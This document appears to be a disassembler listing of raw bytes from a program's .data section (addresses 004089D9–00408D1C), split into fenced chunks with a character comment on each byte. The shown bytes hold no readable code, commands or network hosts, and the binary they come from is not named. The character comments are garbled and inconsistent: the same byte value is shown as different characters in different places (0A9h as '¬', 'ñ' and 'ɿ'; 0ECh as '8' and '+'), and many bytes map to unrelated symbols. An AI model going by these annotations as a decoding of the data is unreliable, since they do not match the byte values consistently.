.data:004089D9      db 4Ch ; L
.data:004089DA      db 77h ; w
.data:004089DB      db 36h ; 6
.data:004089DC      db 0FEh ; /
.data:004089DD      db 9Eh ; P
.data:004089DE      db 7Eh ; ~
.data:004089DF      db 0D0h ; -
.data:004089E0      db 0B4h ; /
.data:004089E1      db 1Fh ;
.data:004089E2      db 0F1h ; ±
.data:004089E3      db 2Bh ; +
.data:004089E4      db 4Dh ; M
.data:004089E5      db 0DAh ; +
.data:004089E6      db 0DBh ; /
.data:004089E7      db 95h ; ò
.data:004089E8      db 98h ; Ÿ
.data:004089E9      db 91h ; æ
.data:004089EA      db 90h ; Ē
.data:004089EB      db 0AEh ; «
.data:004089EC      db 71h ; q̇
.data:004089ED      db 8Eh ; Ä
.data:004089EE      db 0ADh ; i
.data:004089EF      db 0EAh ; O
.data:004089F0      db 0A0h ; á
.data:004089F1      db 0D5h ; +
.data:004089F2      db 93h ; ô
.data:004089F3      db 6Bh ; k
.data:004089F4      db 0D0h ; -
.data:004089F5      db 0D1h ; -
.data:004089F6      db 8Eh ; Ä
.data:004089F7      db 0D0h ; -
.data:004089F8      db 0E0h ; a
.data:004089F9      db 25h ; %
.data:004089FA      db 0C7h ; /
.data:004089FB      db 0AFh ; »
.data:004089FC      db 2Fh ; /
.data:004089FD      db 5Bh ; [
.data:004089FE      db 3Ch ; <
.data:004089FF      db 8Eh ; Ä
.data:00408A00      db 0B7h ; +
.data:00408A01      db 94h ; ö
.data:00408A02      db 75h ; u
.data:00408A03      db 8Eh ; Ä
.data:00408A04      db 0FBh ; v
.data:00408A05      db 0E2h ; G
.data:00408A06      db 0F6h ; ÷
.data:00408A07      db 8Fh ; Å
.data:00408A08      db 64h ; d
.data:00408A09      db 2Bh ; +
.data:00408A0A      db 12h ;
.data:00408A0B      db 0F2h ; =
.data:00408A0C      db 12h ;
.data:00408A0D      db 0B8h ; +
.data:00408A0E      db 88h ; ê
.data:00408A0F      db 88h ; ê

```

```

.data:00408A10      db  1Ch ;
.data:00408A11      db  0F0h ; =
.data:00408A12      db  0Dh ;
.data:00408A13      db  90h ; É
.data:00408A14      db  0A0h ; á
.data:00408A15      db  5Eh ; ^
.data:00408A16      db  0ADh ; i
.data:00408A17      db  4Fh ; O
.data:00408A18      db  1Ch ;
.data:00408A19      db  0C3h ; +
.data:00408A1A      db  8Fh ; Å
.data:00408A1B      db  68h ; h
.data:00408A1C      db  91h ; æ
.data:00408A1D      db  0F1h ; ±
.data:00408A1E      db  0CFh ; -
.data:00408A1F      db  0D1h ; -
.data:00408A20      db  0ADh ; i
.data:00408A21      db  0C1h ; -
.data:00408A22      db  0A8h ; ç
.data:00408A23      db  0B3h ; /
.data:00408A24      db  18h ;
.data:00408A25      db  22h ; "
.data:00408A26      db  2Fh ; /
.data:00408A27      db  2Fh ; /
.data:00408A28      db  77h ; w
.data:00408A29      db  17h ;
.data:00408A2A      db  0Eh ;
.data:00408A2B      db  0BEh ; +
.data:00408A2C      db  0FEh ; /
.data:00408A2D      db  2Dh ; -
.data:00408A2E      db  75h ; u
.data:00408A2F      db  0EAh ; O
.data:00408A30      db  0A1h ; í
.data:00408A31      db  1Fh ;
.data:00408A32      db  2 ;
.data:00408A33      db  8Bh ; i
.data:00408A34      db  0Fh ;
.data:00408A35      db  0CCh ; /
.data:00408A36      db  0A0h ; á
.data:00408A37      db  0E5h ; s
.data:00408A38      db  0E8h ; F
.data:00408A39      db  74h ; t
.data:00408A3A      db  6Fh ; o
.data:00408A3B      db  0B5h ; /
.data:00408A3C      db  0D6h ; +
.data:00408A3D      db  0F3h ; =
.data:00408A3E      db  0ACh ; ¼
.data:00408A3F      db  18h ;
.data:00408A40      db  99h ; Ö
.data:00408A41      db  0E2h ; G
.data:00408A42      db  89h ; é
.data:00408A43      db  0CEh ; +
.data:00408A44      db  0E0h ; a
.data:00408A45      db  4Fh ; O
.data:00408A46      db  0A8h ; ç
.data:00408A47      db  0B4h ; /
.data:00408A48      db  0E7h ; +
.data:00408A49      db  0E0h ; a
.data:00408A4A      db  13h ;
.data:00408A4B      db  0FDh ; ²
.data:00408A4C      db  81h ; ü
.data:00408A4D      db  3Bh ; ;
.data:00408A4E      db  0C4h ; -
.data:00408A4F      db  7Ch ; /
.data:00408A50      db  0D9h ; +
.data:00408A51      db  0A8h ; ç
.data:00408A52      db  0ADh ; i
.data:00408A53      db  0D2h ; -
.data:00408A54      db  66h ; f
.data:00408A55      db  0A2h ; ó

```

```

.data:00408A56      db  5Fh ; _
.data:00408A57      db  16h ;
.data:00408A58      db   5 ;
.data:00408A59      db  77h ; w
.data:00408A5A      db  95h ; ò
.data:00408A5B      db  80h ; Ç
.data:00408A5C      db  14h ;
.data:00408A5D      db  73h ; s
.data:00408A5E      db 0CCh ; /
.data:00408A5F      db  93h ; ô
.data:00408A60      db  77h ; w
.data:00408A61      db  14h ;
.data:00408A62      db  1Ah ;
.data:00408A63      db  21h ; !
.data:00408A64      db  65h ; e
.data:00408A65      db  20h ;
.data:00408A66      db 0ADh ; i
.data:00408A67      db 0E6h ; µ
.data:00408A68      db  86h ; à
.data:00408A69      db 0FAh ; ·
.data:00408A6A      db 0B5h ; /
.data:00408A6B      db  77h ; w
.data:00408A6C      db 0F5h ; )
.data:00408A6D      db  42h ; B
.data:00408A6E      db  54h ; T
.data:00408A6F      db 0C7h ; /
.data:00408A70      db 0CFh ; -
.data:00408A71      db  35h ; 5
.data:00408A72      db  9Dh ; ¥
.data:00408A73      db 0FBh ; v
.data:00408A74      db  0Ch ;
.data:00408A75      db 0AFh ; »
.data:00408A76      db 0CDh ; -
.data:00408A77      db 0EBh ; d
.data:00408A78      db 0A0h ; á
.data:00408A79      db  89h ; è
.data:00408A7A      db  3Eh ; >
.data:00408A7B      db  7Bh ; {
.data:00408A7C      db 0D3h ; +
.data:00408A7D      db  1Bh ;
.data:00408A7E      db  41h ; A
.data:00408A7F      db 0D6h ; +
.data:00408A80      db  49h ; I
.data:00408A81      db  7Eh ; ~
.data:00408A82      db  1Eh ;
.data:00408A83      db 0AEh ; «
.data:00408A84      db  2Dh ; -
.data:00408A85      db  0Eh ;
.data:00408A86      db  25h ; %
.data:00408A87      db   0 ;
.data:00408A88      db  5Eh ; ^
.data:00408A89      db 0B3h ; /
.data:00408A8A      db  71h ; q
.data:00408A8B      db  20h ;
.data:00408A8C      db 0BBh ; +
.data:00408A8D      db   0 ;
.data:00408A8E      db  68h ; h
.data:00408A8F      db  22h ; "
.data:00408A90      db 0AFh ; »
.data:00408A91      db 0E0h ; a
.data:00408A92      db 0B8h ; +
.data:00408A93      db  57h ; W
.data:00408A94      db  9Bh ; ç
.data:00408A95      db  36h ; 6
.data:00408A96      db  64h ; d
.data:00408A97      db  24h ; $
.data:00408A98      db  1Eh ;
.data:00408A99      db 0B9h ; /
.data:00408A9A      db   9 ;
.data:00408A9B      db 0F0h ; =

```

```

.data:00408A9C      db  1Dh ;
.data:00408A9D      db  91h ; æ
.data:00408A9E      db  63h ; c
.data:00408A9F      db  55h ; U
.data:00408AA0      db  0AAh ; ɿ
.data:00408AA1      db  0A6h ; a
.data:00408AA2      db  0DFh ; -
.data:00408AA3      db  59h ; Y
.data:00408AA4      db  89h ; é
.data:00408AA5      db  43h ; C
.data:00408AA6      db  0C1h ; -
.data:00408AA7      db  78h ; x
.data:00408AA8      db  7Fh ; •
.data:00408AA9      db  53h ; S
.data:00408AAA      db  5Ah ; Z
.data:00408AAB      db  0D9h ; +
.data:00408AAC      db  0A2h ; ó
.data:00408AAD      db  5Bh ; [
.data:00408AAE      db  7Dh ; }
.data:00408AAF      db  20h ;
.data:00408AB0      db  0C5h ; +
.data:00408AB1      db  0B9h ; /
.data:00408AB2      db  0E5h ; s
.data:00408AB3      db   2 ;
.data:00408AB4      db  76h ; v
.data:00408AB5      db   3 ;
.data:00408AB6      db  26h ; &
.data:00408AB7      db  83h ; â
.data:00408AB8      db  0A9h ; ɿ
.data:00408AB9      db  0CFh ; -
.data:00408ABA      db  95h ; ò
.data:00408ABB      db  62h ; b
.data:00408ABC      db  68h ; h
.data:00408ABD      db  19h ;
.data:00408ABE      db  0C8h ; +
.data:00408ABF      db  11h ;
.data:00408AC0      db  41h ; A
.data:00408AC1      db  4Ah ; J
.data:00408AC2      db  73h ; s
.data:00408AC3      db  4Eh ; N
.data:00408AC4      db  0CAh ; -
.data:00408AC5      db  2Dh ; -
.data:00408AC6      db  47h ; G
.data:00408AC7      db  0B3h ; /
.data:00408AC8      db  4Ah ; J
.data:00408AC9      db  0A9h ; ɿ
.data:00408ACA      db  14h ;
.data:00408ACB      db  7Bh ; {
.data:00408ACC      db  52h ; R
.data:00408ACD      db   0 ;
.data:00408ACE      db  51h ; Q
.data:00408ACF      db  1Bh ;
.data:00408AD0      db  15h ;
.data:00408AD1      db  29h ; )
.data:00408AD2      db  53h ; S
.data:00408AD3      db  9Ah ; Ū
.data:00408AD4      db  3Fh ; ?
.data:00408AD5      db  57h ; W
.data:00408AD6      db  0Fh ;
.data:00408AD7      db  0D6h ; +
.data:00408AD8      db  0E4h ; S
.data:00408AD9      db  0C6h ; /
.data:00408ADA      db  9Bh ; ç
.data:00408ADB      db  0BCh ; +
.data:00408ADC      db  76h ; v
.data:00408ADD      db  0A4h ; ñ
.data:00408ADE      db  60h ; `
.data:00408ADF      db  2Bh ; +
.data:00408AE0      db   0 ;
.data:00408AE1      db  74h ; t

```

```

.data:00408AE2      db 0E6h ; μ
.data:00408AE3      db 81h ; ü
.data:00408AE4      db 0B5h ; /
.data:00408AE5      db 6Fh ; o
.data:00408AE6      db 0BAh ; /
.data:00408AE7      db 8 ;
.data:00408AE8      db 1Fh ;
.data:00408AE9      db 0E9h ; T
.data:00408AEA      db 1Bh ;
.data:00408AEB      db 57h ; W
.data:00408AEC      db 6Bh ; k
.data:00408AED      db 0ECh ; 8
.data:00408AEE      db 96h ; û
.data:00408AEF      db 0F2h ; =
.data:00408AF0      db 15h ;
.data:00408AF1      db 0D9h ; +
.data:00408AF2      db 0Dh ;
.data:00408AF3      db 2Ah ; *
.data:00408AF4      db 21h ; !
.data:00408AF5      db 65h ; e
.data:00408AF6      db 63h ; c
.data:00408AF7      db 0B6h ; /
.data:00408AF8      db 0B6h ; /
.data:00408AF9      db 0F9h ; ·
.data:00408AFA      db 0B9h ; /
.data:00408AFB      db 0E7h ; t
.data:00408AFC      db 2Eh ; .
.data:00408AFD      db 5 ;
.data:00408AFE      db 34h ; 4
.data:00408AFF      db 0FFh ;
.data:00408B00      db 64h ; d
.data:00408B01      db 56h ; V
.data:00408B02      db 85h ; à
.data:00408B03      db 0C5h ; +
.data:00408B04      db 5Dh ; J
.data:00408B05      db 2Dh ; -
.data:00408B06      db 0E0h ; /
.data:00408B07      db 53h ; S
.data:00408B08      db 0A1h ; í
.data:00408B09      db 8Fh ; Å
.data:00408B0A      db 9Fh ; f
.data:00408B0B      db 0A9h ; ñ
.data:00408B0C      db 99h ; Ö
.data:00408B0D      db 47h ; G
.data:00408B0E      db 0BAh ; /
.data:00408B0F      db 8 ;
.data:00408B10      db 6Ah ; j
.data:00408B11      db 7 ;
.data:00408B12      db 85h ; à
.data:00408B13      db 6Eh ; n
.data:00408B14      db 0E9h ; T
.data:00408B15      db 70h ; p
.data:00408B16      db 7Ah ; z
.data:00408B17      db 4Bh ; K
.data:00408B18      db 44h ; D
.data:00408B19      db 29h ; )
.data:00408B1A      db 0B3h ; /
.data:00408B1B      db 0B5h ; /
.data:00408B1C      db 2Eh ; .
.data:00408B1D      db 9 ;
.data:00408B1E      db 75h ; u
.data:00408B1F      db 0DBh ; /
.data:00408B20      db 23h ; #
.data:00408B21      db 26h ; &
.data:00408B22      db 19h ;
.data:00408B23      db 0C4h ; -
.data:00408B24      db 0B0h ; /
.data:00408B25      db 0A6h ; a
.data:00408B26      db 6Eh ; n
.data:00408B27      db 0ADh ; i

```

```

.data:00408B28      db  7Dh ; }
.data:00408B29      db  0DFh ; -
.data:00408B2A      db  0A7h ; °
.data:00408B2B      db  49h ; I
.data:00408B2C      db  0B8h ; +
.data:00408B2D      db  60h ; `
.data:00408B2E      db  0EEh ; e
.data:00408B2F      db  9Ch ; £
.data:00408B30      db  66h ; f
.data:00408B31      db  0B2h ; /
.data:00408B32      db  0EDh ; f
.data:00408B33      db  8Fh ; Å
.data:00408B34      db  71h ; q
.data:00408B35      db  8Ch ; î
.data:00408B36      db  0AAh ; ¬
.data:00408B37      db  0ECh ; 8
.data:00408B38      db  0FFh ;
.data:00408B39      db  17h ;
.data:00408B3A      db  9Ah ; Ū
.data:00408B3B      db  69h ; i
.data:00408B3C      db  6Ch ; l
.data:00408B3D      db  52h ; R
.data:00408B3E      db  64h ; d
.data:00408B3F      db  56h ; V
.data:00408B40      db  0E1h ; ß
.data:00408B41      db  9Eh ; P
.data:00408B42      db  0B1h ; /
.data:00408B43      db  0C2h ; -
.data:00408B44      db  0A5h ; Ñ
.data:00408B45      db   2 ;
.data:00408B46      db  36h ; 6
.data:00408B47      db  19h ;
.data:00408B48      db  29h ; )
.data:00408B49      db  4Ch ; L
.data:00408B4A      db   9 ;
.data:00408B4B      db  75h ; u
.data:00408B4C      db  40h ; @
.data:00408B4D      db  13h ;
.data:00408B4E      db  59h ; Y
.data:00408B4F      db  0A0h ; á
.data:00408B50      db  3Eh ; >
.data:00408B51      db  3Ah ; :
.data:00408B52      db  18h ;
.data:00408B53      db  0E4h ; S
.data:00408B54      db  9Ah ; Ū
.data:00408B55      db  98h ; Ÿ
.data:00408B56      db  54h ; T
.data:00408B57      db  3Fh ; ?
.data:00408B58      db  65h ; e
.data:00408B59      db  9Dh ; ¥
.data:00408B5A      db  42h ; B
.data:00408B5B      db  5Bh ; [
.data:00408B5C      db  0D6h ; +
.data:00408B5D      db  0E4h ; S
.data:00408B5E      db  8Fh ; Å
.data:00408B5F      db  6Bh ; k
.data:00408B60      db  0D6h ; +
.data:00408B61      db  3Fh ; ?
.data:00408B62      db  0F7h ; ~
.data:00408B63      db  99h ; Ö
.data:00408B64      db   7 ;
.data:00408B65      db  9Ch ; £
.data:00408B66      db  0D2h ; -
.data:00408B67      db  0A1h ; í
.data:00408B68      db  0F5h ; )
.data:00408B69      db  30h ; 0
.data:00408B6A      db  0E8h ; F
.data:00408B6B      db  0EFh ; n
.data:00408B6C      db  0E6h ; µ
.data:00408B6D      db  38h ; 8

```

```

.data:00408B6E      db  2Dh ; -
.data:00408B6F      db  4Dh ; M
.data:00408B70      db  0C1h ; -
.data:00408B71      db  5Dh ; ]
.data:00408B72      db  25h ; %
.data:00408B73      db  0F0h ; =
.data:00408B74      db  86h ; â
.data:00408B75      db  20h ;
.data:00408B76      db  0DDh ; /
.data:00408B77      db  4Ch ; L
.data:00408B78      db  26h ; &
.data:00408B79      db  0EBh ; d
.data:00408B7A      db  70h ; p
.data:00408B7B      db  84h ; ä
.data:00408B7C      db  0C6h ; /
.data:00408B7D      db  0E9h ; T
.data:00408B7E      db  82h ; é
.data:00408B7F      db  63h ; c
.data:00408B80      db  5Eh ; ^
.data:00408B81      db  0CCh ; /
.data:00408B82      db  1Eh ;
.data:00408B83      db   2 ;
.data:00408B84      db  3Fh ; ?
.data:00408B85      db  6Bh ; k
.data:00408B86      db  68h ; h
.data:00408B87      db   9 ;
.data:00408B88      db  0C9h ; +
.data:00408B89      db  0EFh ; n
.data:00408B8A      db  0BAh ; /
.data:00408B8B      db  3Eh ; >
.data:00408B8C      db  14h ;
.data:00408B8D      db  18h ;
.data:00408B8E      db  97h ; ù
.data:00408B8F      db  3Ch ; <
.data:00408B90      db  0A1h ; í
.data:00408B91      db  70h ; p
.data:00408B92      db  6Ah ; j
.data:00408B93      db  6Bh ; k
.data:00408B94      db  84h ; ä
.data:00408B95      db  35h ; 5
.data:00408B96      db  7Fh ; •
.data:00408B97      db  68h ; h
.data:00408B98      db  86h ; â
.data:00408B99      db  0E2h ; G
.data:00408B9A      db  0A0h ; á
.data:00408B9B      db  52h ; R
.data:00408B9C      db   5 ;
.data:00408B9D      db  53h ; S
.data:00408B9E      db  9Ch ; £
.data:00408B9F      db  0B7h ; +
.data:00408BA0      db  37h ; 7
.data:00408BA1      db   7 ;
.data:00408BA2      db  50h ; P
.data:00408BA3      db  0AAh ; ¬
.data:00408BA4      db  1Ch ;
.data:00408BA5      db  84h ; ä
.data:00408BA6      db   7 ;
.data:00408BA7      db  3Eh ; >
.data:00408BA8      db  5Ch ; \
.data:00408BA9      db  0AEh ; «
.data:00408BAA      db  0DEh ; /
.data:00408BAB      db  7Fh ; •
.data:00408BAC      db  0ECh ; 8
.data:00408BAD      db  44h ; D
.data:00408BAE      db  7Dh ; }
.data:00408BAF      db  8Eh ; Ä
.data:00408BB0      db  0B8h ; +
.data:00408BB1      db  0F2h ; =
.data:00408BB2      db  16h ;
.data:00408BB3      db  57h ; W

```

```

.data:00408BB4      db  37h ; 7
.data:00408BB5      db  0DAh ; +
.data:00408BB6      db  3Ah ; :
.data:00408BB7      db  0E0h ; /
.data:00408BB8      db  0Dh ;
.data:00408BB9      db  0Ch ;
.data:00408BBA      db  50h ; P
.data:00408BBB      db  0F0h ; =
.data:00408BBC      db   4 ;
.data:00408BBD      db  1Fh ;
.data:00408BBE      db  1Ch ;
.data:00408BBF      db  0F0h ; =
.data:00408BC0      db  0FFh ;
.data:00408BC1      db  0B3h ; /
.data:00408BC2      db   0 ;
.data:00408BC3      db   2 ;
.data:00408BC4      db  1Ah ;
.data:00408BC5      db  0F5h ; )
.data:00408BC6      db  0Ch ;
.data:00408BC7      db  0AEh ; «
.data:00408BC8      db  0B2h ; /
.data:00408BC9      db  74h ; t
.data:00408BCA      db  0B5h ; /
.data:00408BCB      db  3Ch ; <
.data:00408BCC      db  58h ; X
.data:00408BCD      db  7Ah ; z
.data:00408BCE      db  83h ; â
.data:00408BCF      db  25h ; %
.data:00408BD0      db  0BDh ; +
.data:00408BD1      db  21h ; !
.data:00408BD2      db   9 ;
.data:00408BD3      db  0DCh ; _
.data:00408BD4      db  0F9h ; .
.data:00408BD5      db  13h ;
.data:00408BD6      db  91h ; æ
.data:00408BD7      db  0D1h ; -
.data:00408BD8      db  0F6h ; ÷
.data:00408BD9      db  2Fh ; /
.data:00408BDA      db  0A9h ; ¬
.data:00408BDB      db  7Ch ; /
.data:00408BDC      db  73h ; s
.data:00408BDD      db  47h ; G
.data:00408BDE      db  32h ; 2
.data:00408BDF      db  94h ; ö
.data:00408BE0      db   1 ;
.data:00408BE1      db  47h ; G
.data:00408BE2      db  0F5h ; )
.data:00408BE3      db  22h ; "
.data:00408BE4      db  81h ; ü
.data:00408BE5      db  0E5h ; s
.data:00408BE6      db  0E5h ; s
.data:00408BE7      db  3Ah ; :
.data:00408BE8      db  0DCh ; _
.data:00408BE9      db  0DAh ; +
.data:00408BEA      db  0C2h ; -
.data:00408BEB      db  37h ; 7
.data:00408BEC      db  34h ; 4
.data:00408BED      db  76h ; v
.data:00408BEE      db  0B5h ; /
.data:00408BEF      db  0C8h ; +
.data:00408BF0      db  0A7h ; °
.data:00408BF1      db  0DDh ; /
.data:00408BF2      db  0F3h ; =
.data:00408BF3      db  9Ah ; Ũ
.data:00408BF4      db  46h ; F
.data:00408BF5      db  61h ; a
.data:00408BF6      db  44h ; D
.data:00408BF7      db  0A9h ; ¬
.data:00408BF8      db  0Eh ;
.data:00408BF9      db   3 ;

```



```

.data:00408BFA      db 0D0h ; -
.data:00408BFB      db 0Fh ;
.data:00408BFC      db 3Eh ; >
.data:00408BFD      db 0C7h ; /
.data:00408BFE      db 0C8h ; +
.data:00408BFF      db 0ECh ; 8
.data:00408C00      db 41h ; A
.data:00408C01      db 1Eh ;
.data:00408C02      db 75h ; u
.data:00408C03      db 0A4h ; ñ
.data:00408C04      db 99h ; Ö
.data:00408C05      db 0CDh ; -
.data:00408C06      db 38h ; 8
.data:00408C07      db 0E2h ; G
.data:00408C08      db 2Fh ; /
.data:00408C09      db 0Eh ;
.data:00408C0A      db 0EAh ; O
.data:00408C0B      db 3Bh ; ;
.data:00408C0C      db 0A1h ; í
.data:00408C0D      db 0BBh ; +
.data:00408C0E      db 80h ; Ç
.data:00408C0F      db 32h ; 2
.data:00408C10      db 31h ; 1
.data:00408C11      db 0B3h ; /
.data:00408C12      db 3Eh ; >
.data:00408C13      db 18h ;
.data:00408C14      db 38h ; 8
.data:00408C15      db 8Bh ; ï
.data:00408C16      db 54h ; T
.data:00408C17      db 4Eh ; N
.data:00408C18      db 8 ;
.data:00408C19      db 0B9h ; /
.data:00408C1A      db 6Dh ; m
.data:00408C1B      db 4Fh ; O
.data:00408C1C      db 3 ;
.data:00408C1D      db 0Dh ;
.data:00408C1E      db 42h ; B
.data:00408C1F      db 6Fh ; o
.data:00408C20      db 0BFh ; +
.data:00408C21      db 4 ;
.data:00408C22      db 0Ah ;
.data:00408C23      db 0F6h ; ÷
.data:00408C24      db 90h ; Ē
.data:00408C25      db 12h ;
.data:00408C26      db 0B8h ; +
.data:00408C27      db 2Ch ; ,
.data:00408C28      db 79h ; y
.data:00408C29      db 7Ch ; /
.data:00408C2A      db 97h ; ù
.data:00408C2B      db 24h ; $
.data:00408C2C      db 72h ; r
.data:00408C2D      db 0B0h ; /
.data:00408C2E      db 79h ; y
.data:00408C2F      db 56h ; V
.data:00408C30      db 0AFh ; »
.data:00408C31      db 89h ; ë
.data:00408C32      db 0AFh ; »
.data:00408C33      db 0ECh ; +
.data:00408C34      db 1Fh ;
.data:00408C35      db 77h ; w
.data:00408C36      db 9Ah ; Ů
.data:00408C37      db 0DEh ; /
.data:00408C38      db 10h ;
.data:00408C39      db 8 ;
.data:00408C3A      db 93h ; ô
.data:00408C3B      db 0D9h ; +
.data:00408C3C      db 12h ;
.data:00408C3D      db 0AEh ; «
.data:00408C3E      db 8Bh ; ï
.data:00408C3F      db 0B3h ; /

```

```

.data:00408C40      db  2Eh ; .
.data:00408C41      db  3Fh ; ?
.data:00408C42      db  0CFh ; -
.data:00408C43      db  0DCh ; -
.data:00408C44      db  1Fh ; -
.data:00408C45      db  72h ; r
.data:00408C46      db  12h ;
.data:00408C47      db  55h ; U
.data:00408C48      db  24h ; $
.data:00408C49      db  71h ; q
.data:00408C4A      db  6Bh ; k
.data:00408C4B      db  2Eh ; .
.data:00408C4C      db  0E6h ; μ
.data:00408C4D      db  0DDh ; /
.data:00408C4E      db  1Ah ;
.data:00408C4F      db  50h ; P
.data:00408C50      db  87h ; ç
.data:00408C51      db  0CDh ; -
.data:00408C52      db  84h ; ä
.data:00408C53      db  9Fh ; f
.data:00408C54      db  18h ;
.data:00408C55      db  47h ; G
.data:00408C56      db  58h ; X
.data:00408C57      db  7Ah ; z
.data:00408C58      db  17h ;
.data:00408C59      db  0DAh ; +
.data:00408C5A      db    8 ;
.data:00408C5B      db  74h ; t
.data:00408C5C      db  0BCh ; +
.data:00408C5D      db  9Ah ; Ũ
.data:00408C5E      db  9Fh ; f
.data:00408C5F      db  0BCh ; +
.data:00408C60      db  8Ch ; î
.data:00408C61      db  7Dh ; }
.data:00408C62      db  4Bh ; K
.data:00408C63      db  0E9h ; T
.data:00408C64      db  3Ah ; :
.data:00408C65      db  0ECh ; 8
.data:00408C66      db  7Ah ; z
.data:00408C67      db  0ECh ; 8
.data:00408C68      db  0FAh ; .
.data:00408C69      db  1Dh ;
.data:00408C6A      db  85h ; à
.data:00408C6B      db  0DBh ; /
.data:00408C6C      db  66h ; f
.data:00408C6D      db  43h ; C
.data:00408C6E      db    9 ;
.data:00408C6F      db  63h ; c
.data:00408C70      db  0D2h ; -
.data:00408C71      db  0C3h ; +
.data:00408C72      db  64h ; d
.data:00408C73      db  0C4h ; -
.data:00408C74      db  47h ; G
.data:00408C75      db  18h ;
.data:00408C76      db  1Ch ;
.data:00408C77      db  0EFh ; n
.data:00408C78      db    8 ;
.data:00408C79      db  0D9h ; +
.data:00408C7A      db  15h ;
.data:00408C7B      db  32h ; 2
.data:00408C7C      db  37h ; 7
.data:00408C7D      db  3Bh ; ;
.data:00408C7E      db  43h ; C
.data:00408C7F      db  0DDh ; /
.data:00408C80      db  16h ;
.data:00408C81      db  0BAh ; /
.data:00408C82      db  0C2h ; -
.data:00408C83      db  24h ; $
.data:00408C84      db  43h ; C
.data:00408C85      db  4Dh ; M

```

```

.data:00408C86      db 0A1h ; í
.data:00408C87      db 12h ;
.data:00408C88      db 51h ; Q
.data:00408C89      db 0C4h ; -
.data:00408C8A      db 65h ; e
.data:00408C8B      db 2Ah ; *
.data:00408C8C      db 2 ;
.data:00408C8D      db 0 ;
.data:00408C8E      db 94h ; ö
.data:00408C8F      db 50h ; P
.data:00408C90      db 0DDh ; /
.data:00408C91      db 0E4h ; S
.data:00408C92      db 3Ah ; :
.data:00408C93      db 13h ;
.data:00408C94      db 9Eh ; P
.data:00408C95      db 0F8h ; °
.data:00408C96      db 0DFh ; -
.data:00408C97      db 71h ; q
.data:00408C98      db 55h ; U
.data:00408C99      db 4Eh ; N
.data:00408C9A      db 31h ; l
.data:00408C9B      db 10h ;
.data:00408C9C      db 0D6h ; +
.data:00408C9D      db 77h ; w
.data:00408C9E      db 0ACh ; ¼
.data:00408C9F      db 81h ; ü
.data:00408CA0      db 9Bh ; ç
.data:00408CA1      db 19h ;
.data:00408CA2      db 11h ;
.data:00408CA3      db 5Fh ; _
.data:00408CA4      db 0F1h ; ±
.data:00408CA5      db 56h ; V
.data:00408CA6      db 35h ; 5
.data:00408CA7      db 4 ;
.data:00408CA8      db 6Bh ; k
.data:00408CA9      db 0C7h ; /
.data:00408CAA      db 0A3h ; ũ
.data:00408CAB      db 0D7h ; +
.data:00408CAC      db 3Bh ; ;
.data:00408CAD      db 18h ;
.data:00408CAE      db 11h ;
.data:00408CAF      db 3Ch ; <
.data:00408CB0      db 9 ;
.data:00408CB1      db 0A5h ; Ñ
.data:00408CB2      db 24h ; $
.data:00408CB3      db 59h ; Y
.data:00408CB4      db 0EDh ; f
.data:00408CB5      db 0E6h ; μ
.data:00408CB6      db 8Fh ; Å
.data:00408CB7      db 0F2h ; =
.data:00408CB8      db 0FAh ; ·
.data:00408CB9      db 0FBh ; v
.data:00408CBA      db 0F1h ; ±
.data:00408CBB      db 97h ; ù
.data:00408CBC      db 2Ch ; ,
.data:00408CBD      db 0BFh ; +
.data:00408CBE      db 0BAh ; /
.data:00408CBF      db 9Eh ; P
.data:00408CC0      db 6Eh ; n
.data:00408CC1      db 3Ch ; <
.data:00408CC2      db 15h ;
.data:00408CC3      db 1Eh ;
.data:00408CC4      db 70h ; p
.data:00408CC5      db 45h ; E
.data:00408CC6      db 0E3h ; p
.data:00408CC7      db 86h ; å
.data:00408CC8      db 0B1h ; /
.data:00408CC9      db 6Fh ; o
.data:00408CCA      db 0E9h ; T
.data:00408CCB      db 0EAh ; O

```

```

.data:00408CCC      db  0Ah ;
.data:00408CCD      db  5Eh ; ^
.data:00408CCE      db  0Eh ;
.data:00408CCF      db  86h ; â
.data:00408CD0      db  0B3h ; /
.data:00408CD1      db  2Ah ; *
.data:00408CD2      db  3Eh ; >
.data:00408CD3      db  5Ah ; Z
.data:00408CD4      db  1Ch ;
.data:00408CD5      db  0E7h ; t
.data:00408CD6      db  1Fh ;
.data:00408CD7      db  77h ; w
.data:00408CD8      db  0FAh ; .
.data:00408CD9      db   6 ;
.data:00408CDA      db  3Dh ; =
.data:00408CDB      db  4Eh ; N
.data:00408CDC      db  0B9h ; /
.data:00408CDD      db  0DCh ; _
.data:00408CDE      db  65h ; e
.data:00408CDF      db  29h ; )
.data:00408CE0      db  0Fh ;
.data:00408CE1      db  1Dh ;
.data:00408CE2      db  0E7h ; t
.data:00408CE3      db  99h ; Ö
.data:00408CE4      db  0D6h ; +
.data:00408CE5      db  89h ; ë
.data:00408CE6      db  3Eh ; >
.data:00408CE7      db  80h ; Ç
.data:00408CE8      db  25h ; %
.data:00408CE9      db  0C8h ; +
.data:00408CEA      db  66h ; f
.data:00408CEB      db  52h ; R
.data:00408CEC      db  78h ; x
.data:00408CED      db  0C9h ; +
.data:00408CEE      db  4Ch ; L
.data:00408CEF      db  2Eh ; .
.data:00408CF0      db  6Ah ; j
.data:00408CF1      db  0B3h ; /
.data:00408CF2      db  10h ;
.data:00408CF3      db  9Ch ; £
.data:00408CF4      db  0BAh ; /
.data:00408CF5      db  0Eh ;
.data:00408CF6      db  15h ;
.data:00408CF7      db  0C6h ; /
.data:00408CF8      db  78h ; x
.data:00408CF9      db  0EAh ; O
.data:00408CFA      db  0E2h ; G
.data:00408CFB      db  94h ; ö
.data:00408CFC      db  53h ; S
.data:00408CFD      db  3Ch ; <
.data:00408CFE      db  0FCh ; n
.data:00408CFF      db  0A5h ; Ñ
.data:00408D00      db  0F4h ; (
.data:00408D01      db  2Dh ; -
.data:00408D02      db  0Ah ;
.data:00408D03      db  1Eh ;
.data:00408D04      db  0A7h ; °
.data:00408D05      db  4Eh ; N
.data:00408D06      db  0F7h ; ~
.data:00408D07      db  0F2h ; =
.data:00408D08      db  3Dh ; =
.data:00408D09      db  2Bh ; +
.data:00408D0A      db  1Dh ;
.data:00408D0B      db  36h ; 6
.data:00408D0C      db  0Fh ;
.data:00408D0D      db  26h ; &
.data:00408D0E      db  39h ; 9
.data:00408D0F      db  19h ;
.data:00408D10      db  60h ; `
.data:00408D11      db  79h ; y

```

```

.data:00408D12      db 0C2h ; -
.data:00408D13      db 19h ;
.data:00408D14      db 8 ;
.data:00408D15      db 0A7h ; °
.data:00408D16      db 23h ; #
.data:00408D17      db 52h ; R
.data:00408D18      db 0B6h ; /
.data:00408D19      db 12h ;
.data:00408D1A      db 13h ;
.data:00408D1B      db 0F7h ; ~
.data:00408D1C      db 6Eh ; n
